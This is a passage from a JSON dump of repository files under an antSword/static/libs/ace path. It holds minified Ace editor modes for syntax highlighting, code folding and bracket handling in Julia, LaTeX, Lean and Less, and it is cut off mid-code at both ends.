^\\\\s*(?:end)\\\\b.*$\",name:\"Julia\",scopeName:\"source.julia\"},r.inherits(s,i),t.JuliaHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/julia\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/julia_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./julia_highlight_rules\").JuliaHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"#\",this.blockComment=\"\",this.$id=\"ace/mode/julia\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-latex.js",
    "content": "ace.define(\"ace/mode/latex_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment\",regex:\"%.*$\"},{token:[\"keyword\",\"lparen\",\"variable.parameter\",\"rparen\",\"lparen\",\"storage.type\",\"rparen\"],regex:\"(\\\\\\\\(?:documentclass|usepackage|input))(?:(\\\\[)([^\\\\]]*)(\\\\]))?({)([^}]*)(})\"},{token:[\"keyword\",\"lparen\",\"variable.parameter\",\"rparen\"],regex:\"(\\\\\\\\(?:label|v?ref|cite(?:[^{]*)))(?:({)([^}]*)(}))?\"},{token:[\"storage.type\",\"lparen\",\"variable.parameter\",\"rparen\"],regex:\"(\\\\\\\\(?:begin|end))({)(\\\\w*)(})\"},{token:\"storage.type\",regex:\"\\\\\\\\[a-zA-Z]+\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"constant.character.escape\",regex:\"\\\\\\\\[^a-zA-Z]?\"},{token:\"string\",regex:\"\\\\${1,2}\",next:\"equation\"}],equation:[{token:\"comment\",regex:\"%.*$\"},{token:\"string\",regex:\"\\\\${1,2}\",next:\"start\"},{token:\"constant.character.escape\",regex:\"\\\\\\\\(?:[^a-zA-Z]|[a-zA-Z]+)\"},{token:\"error\",regex:\"^\\\\s*$\",next:\"start\"},{defaultToken:\"string\"}]}};r.inherits(s,i),t.LatexHighlightRules=s}),ace.define(\"ace/mode/folding/latex\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=e(\"../../token_iterator\").TokenIterator,u=t.FoldMode=function(){};r.inherits(u,i),function(){this.foldingStartMarker=/^\\s*\\\\(begin)|(section|subsection|paragraph)\\b|{\\s*$/,this.foldingStopMarker=/^\\s*\\\\(end)\\b|^\\s*}/,this.getFoldWidgetRange=function(e,t,n){var r=e.doc.getLine(n),i=this.foldingStartMarker.exec(r);if(i)return i[1]?this.latexBlock(e,n,i[0].length-1):i[2]?this.latexSection(e,n,i[0].length-1):this.openingBracketBlock(e,\"{\",n,i.index);var i=this.foldingStopMarker.exec(r);if(i)return i[1]?this.latexBlock(e,n,i[0].length-1):this.closingBracketBlock(e,\"}\",n,i.index+i[0].length)},this.latexBlock=function(e,t,n){var r={\"\\\\begin\":1,\"\\\\end\":-1},i=new o(e,t,n),u=i.getCurrentToken();if(!u||u.type!=\"storage.type\"&&u.type!=\"constant.character.escape\")return;var a=u.value,f=r[a],l=function(){var e=i.stepForward(),t=e.type==\"lparen\"?i.stepForward().value:\"\";return f===-1&&(i.stepBackward(),t&&i.stepBackward()),t},c=[l()],h=f===-1?i.getCurrentTokenColumn():e.getLine(t).length,p=t;i.step=f===-1?i.stepBackward:i.stepForward;while(u=i.step()){if(!u||u.type!=\"storage.type\"&&u.type!=\"constant.character.escape\")continue;var d=r[u.value];if(!d)continue;var v=l();if(d===f)c.unshift(v);else if(c.shift()!==v||!c.length)break}if(c.length)return;var t=i.getCurrentTokenRow();return f===-1?new s(t,e.getLine(t).length,p,h):(i.stepBackward(),new s(p,h,t,i.getCurrentTokenColumn()))},this.latexSection=function(e,t,n){var r=[\"\\\\subsection\",\"\\\\section\",\"\\\\begin\",\"\\\\end\",\"\\\\paragraph\"],i=new o(e,t,n),u=i.getCurrentToken();if(!u||u.type!=\"storage.type\")return;var a=r.indexOf(u.value),f=0,l=t;while(u=i.stepForward()){if(u.type!==\"storage.type\")continue;var c=r.indexOf(u.value);if(c>=2){f||(l=i.getCurrentTokenRow()-1),f+=c==2?1:-1;if(f<0)break}else if(c>=a)break}f||(l=i.getCurrentTokenRow()-1);while(l>t&&!/\\S/.test(e.getLine(l)))l--;return new s(t,e.getLine(t).length,l,e.getLine(l).length)}}.call(u.prototype)}),ace.define(\"ace/mode/latex\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/latex_highlight_rules\",\"ace/mode/folding/latex\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./latex_highlight_rules\").LatexHighlightRules,o=e(\"./folding/latex\").FoldMode,u=e(\"../range\").Range,a=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(a,i),function(){this.type=\"text\",this.lineCommentStart=\"%\",this.$id=\"ace/mode/latex\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-lean.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/lean_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=[\"add_rewrite\",\"alias\",\"as\",\"assume\",\"attribute\",\"begin\",\"by\",\"calc\",\"calc_refl\",\"calc_subst\",\"calc_trans\",\"check\",\"classes\",\"coercions\",\"conjecture\",\"constants\",\"context\",\"corollary\",\"else\",\"end\",\"environment\",\"eval\",\"example\",\"exists\",\"exit\",\"export\",\"exposing\",\"extends\",\"fields\",\"find_decl\",\"forall\",\"from\",\"fun\",\"have\",\"help\",\"hiding\",\"if\",\"import\",\"in\",\"infix\",\"infixl\",\"infixr\",\"instances\",\"let\",\"local\",\"match\",\"namespace\",\"notation\",\"obtain\",\"obtains\",\"omit\",\"opaque\",\"open\",\"options\",\"parameter\",\"parameters\",\"postfix\",\"precedence\",\"prefix\",\"premise\",\"premises\",\"print\",\"private\",\"proof\",\"protected\",\"qed\",\"raw\",\"renaming\",\"section\",\"set_option\",\"show\",\"tactic_hint\",\"take\",\"then\",\"universe\",\"universes\",\"using\",\"variable\",\"variables\",\"with\"].join(\"|\"),t=[\"inductive\",\"structure\",\"record\",\"theorem\",\"axiom\",\"axioms\",\"lemma\",\"hypothesis\",\"definition\",\"constant\"].join(\"|\"),n=[\"Prop\",\"Type\",\"Type'\",\"Type\\u208a\",\"Type\\u2081\",\"Type\\u2082\",\"Type\\u2083\"].join(\"|\"),r=\"\\\\[(\"+[\"abbreviations\",\"all-transparent\",\"begin-end-hints\",\"class\",\"classes\",\"coercion\",\"coercions\",\"declarations\",\"decls\",\"instance\",\"irreducible\",\"multiple-instances\",\"notation\",\"notations\",\"parsing-only\",\"persistent\",\"reduce-hints\",\"reducible\",\"tactic-hints\",\"visible\",\"wf\",\"whnf\"].join(\"|\")+\")\\\\]\",s=[].join(\"|\"),o=this.$keywords=this.createKeywordMapper({\"keyword.control\":e,\"storage.type\":n,\"keyword.operator\":s,\"variable.language\":\"sorry\"},\"identifier\"),u=\"[A-Za-z_\\u03b1-\\u03ba\\u03bc-\\u03fb\\u1f00-\\u1ffe\\u2100-\\u214f][A-Za-z0-9_'\\u03b1-\\u03ba\\u03bc-\\u03fb\\u1f00-\\u1ffe\\u2070-\\u2079\\u207f-\\u2089\\u2090-\\u209c\\u2100-\\u214f]*\",a=new RegExp([\"#\",\"@\",\"->\",\"\\u223c\",\"\\u2194\",\"/\",\"==\",\"=\",\":=\",\"<->\",\"/\\\\\",\"\\\\/\",\"\\u2227\",\"\\u2228\",\"\\u2260\",\"<\",\">\",\"\\u2264\",\"\\u2265\",\"\\u00ac\",\"<=\",\">=\",\"\\u207b\\u00b9\",\"\\u2b1d\",\"\\u25b8\",\"\\\\+\",\"\\\\*\",\"-\",\"/\",\"\\u03bb\",\"\\u2192\",\"\\u2203\",\"\\u2200\",\":=\"].join(\"|\"));this.$rules={start:[{token:\"comment\",regex:\"--.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/-\",next:\"comment\"},{stateName:\"qqstring\",token:\"string.start\",regex:'\"',next:[{token:\"string.end\",regex:'\"',next:\"start\"},{token:\"constant.language.escape\",regex:/\\\\[n\"\\\\]/},{defaultToken:\"string\"}]},{token:\"keyword.control\",regex:t,next:[{token:\"variable.language\",regex:u,next:\"start\"}]},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"storage.modifier\",regex:r},{token:o,regex:u},{token:\"operator\",regex:a},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\"-/\",next:\"start\"},{defaultToken:\"comment\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")]),this.normalizeRules()};r.inherits(o,s),t.leanHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/lean\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/lean_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./lean_highlight_rules\").leanHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=function(){this.HighlightRules=s,this.$outdent=new o};r.inherits(a,i),function(){this.lineCommentStart=\"--\",this.blockComment={start:\"/-\",end:\"-/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"- \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/lean\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-less.js",
    "content": "ace.define(\"ace/mode/less_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=i.arrayToMap(function(){var e=\"-webkit-|-moz-|-o-|-ms-|-svg-|-pie-|-khtml-\".split(\"|\"),t=\"appearance|background-clip|background-inline-policy|background-origin|background-size|binding|border-bottom-colors|border-left-colors|border-right-colors|border-top-colors|border-end|border-end-color|border-end-style|border-end-width|border-image|border-start|border-start-color|border-start-style|border-start-width|box-align|box-direction|box-flex|box-flexgroup|box-ordinal-group|box-orient|box-pack|box-sizing|column-count|column-gap|column-width|column-rule|column-rule-width|column-rule-style|column-rule-color|float-edge|font-feature-settings|font-language-override|force-broken-image-icon|image-region|margin-end|margin-start|opacity|outline|outline-color|outline-offset|outline-radius|outline-radius-bottomleft|outline-radius-bottomright|outline-radius-topleft|outline-radius-topright|outline-style|outline-width|padding-end|padding-start|stack-sizing|tab-size|text-blink|text-decoration-color|text-decoration-line|text-decoration-style|transform|transform-origin|transition|transition-delay|transition-duration|transition-property|transition-timing-function|user-focus|user-input|user-modify|user-select|window-shadow|border-radius\".split(\"|\"),n=\"azimuth|background-attachment|background-color|background-image|background-position|background-repeat|background|border-bottom-color|border-bottom-style|border-bottom-width|border-bottom|border-collapse|border-color|border-left-color|border-left-style|border-left-width|border-left|border-right-color|border-right-style|border-right-width|border-right|border-spacing|border-style|border-top-color|border-top-style|border-top-width|border-top|border-width|border|bottom|box-sizing|caption-side|clear|clip|color|content|counter-increment|counter-reset|cue-after|cue-before|cue|cursor|direction|display|elevation|empty-cells|float|font-family|font-size-adjust|font-size|font-stretch|font-style|font-variant|font-weight|font|height|left|letter-spacing|line-height|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|marker-offset|margin|marks|max-height|max-width|min-height|min-width|opacity|orphans|outline-color|outline-style|outline-width|outline|overflow|overflow-x|overflow-y|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page|pause-after|pause-before|pause|pitch-range|pitch|play-during|position|quotes|richness|right|size|speak-header|speak-numeral|speak-punctuation|speech-rate|speak|stress|table-layout|text-align|text-decoration|text-indent|text-shadow|text-transform|top|unicode-bidi|vertical-align|visibility|voice-family|volume|white-space|widows|width|word-spacing|z-index\".split(\"|\"),r=[];for(var i=0,s=e.length;i<s;i++)Array.prototype.push.apply(r,(e[i]+t.join(\"|\"+e[i])).split(\"|\"));return Array.prototype.push.apply(r,t),Array.prototype.push.apply(r,n),r}()),t=i.arrayToMap(\"hsl|hsla|rgb|rgba|url|attr|counter|counters|lighten|darken|saturate|desaturate|fadein|fadeout|fade|spin|mix|hue|saturation|lightness|alpha|round|ceil|floor|percentage|color|iscolor|isnumber|isstring|iskeyword|isurl|ispixel|ispercentage|isem\".split(\"|\")),n=i.arrayToMap(\"absolute|all-scroll|always|armenian|auto|baseline|below|bidi-override|block|bold|bolder|border-box|both|bottom|break-all|break-word|capitalize|center|char|circle|cjk-ideographic|col-resize|collapse|content-box|crosshair|dashed|decimal-leading-zero|decimal|default|disabled|disc|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ellipsis|fixed|georgian|groove|hand|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|inactive|inherit|inline-block|inline|inset|inside|inter-ideograph|inter-word|italic|justify|katakana-iroha|katakana|keep-all|left|lighter|line-edge|line-through|line|list-item|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|medium|middle|move|n-resize|ne-resize|newspaper|no-drop|no-repeat|nw-resize|none|normal|not-allowed|nowrap|oblique|outset|outside|overline|pointer|progress|relative|repeat-x|repeat-y|repeat|right|ridge|row-resize|rtl|s-resize|scroll|se-resize|separate|small-caps|solid|square|static|strict|super|sw-resize|table-footer-group|table-header-group|tb-rl|text-bottom|text-top|text|thick|thin|top|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|zero\".split(\"|\")),r=i.arrayToMap(\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\".split(\"|\")),s=i.arrayToMap(\"@mixin|@extend|@include|@import|@media|@debug|@warn|@if|@for|@each|@while|@else|@font-face|@-webkit-keyframes|if|and|!default|module|def|end|declare|when|not|and\".split(\"|\")),o=i.arrayToMap(\"a|abbr|acronym|address|applet|area|article|aside|audio|b|base|basefont|bdo|big|blockquote|body|br|button|canvas|caption|center|cite|code|col|colgroup|command|datalist|dd|del|details|dfn|dir|div|dl|dt|em|embed|fieldset|figcaption|figure|font|footer|form|frame|frameset|h1|h2|h3|h4|h5|h6|head|header|hgroup|hr|html|i|iframe|img|input|ins|keygen|kbd|label|legend|li|link|map|mark|menu|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|rp|rt|ruby|s|samp|script|section|select|small|source|span|strike|strong|style|sub|summary|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|u|ul|var|video|wbr|xmp\".split(\"|\")),u=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\";this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:u+\"(?:em|ex|px|cm|mm|in|pt|pc|deg|rad|grad|ms|s|hz|khz|%)\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:\"constant.numeric\",regex:u},{token:function(e){return s.hasOwnProperty(e)?\"keyword\":\"variable\"},regex:\"@[a-z0-9_\\\\-@]*\\\\b\"},{token:function(i){return e.hasOwnProperty(i.toLowerCase())?\"support.type\":s.hasOwnProperty(i)?\"keyword\":n.hasOwnProperty(i)?\"constant.language\":t.hasOwnProperty(i)?\"support.function\":r.hasOwnProperty(i.toLowerCase())?\"support.constant.color\":o.hasOwnProperty(i.toLowerCase())?\"variable.language\":\"text\"},regex:\"\\\\-?[@a-z_][@a-z0-9_\\\\-]*\"},{token:\"variable.language\",regex:\"#[a-z0-9-_]+\"},{token:\"variable.language\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"variable.language\",regex:\":[a-z_][a-z0-9-_]*\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{token:\"keyword.operator\",regex:\"<|>|<=|>=|==|!=|-|%|#|\\\\+|\\\\$|\\\\+|\\\\*\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]}};r.inherits(o,s),t.LessHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new 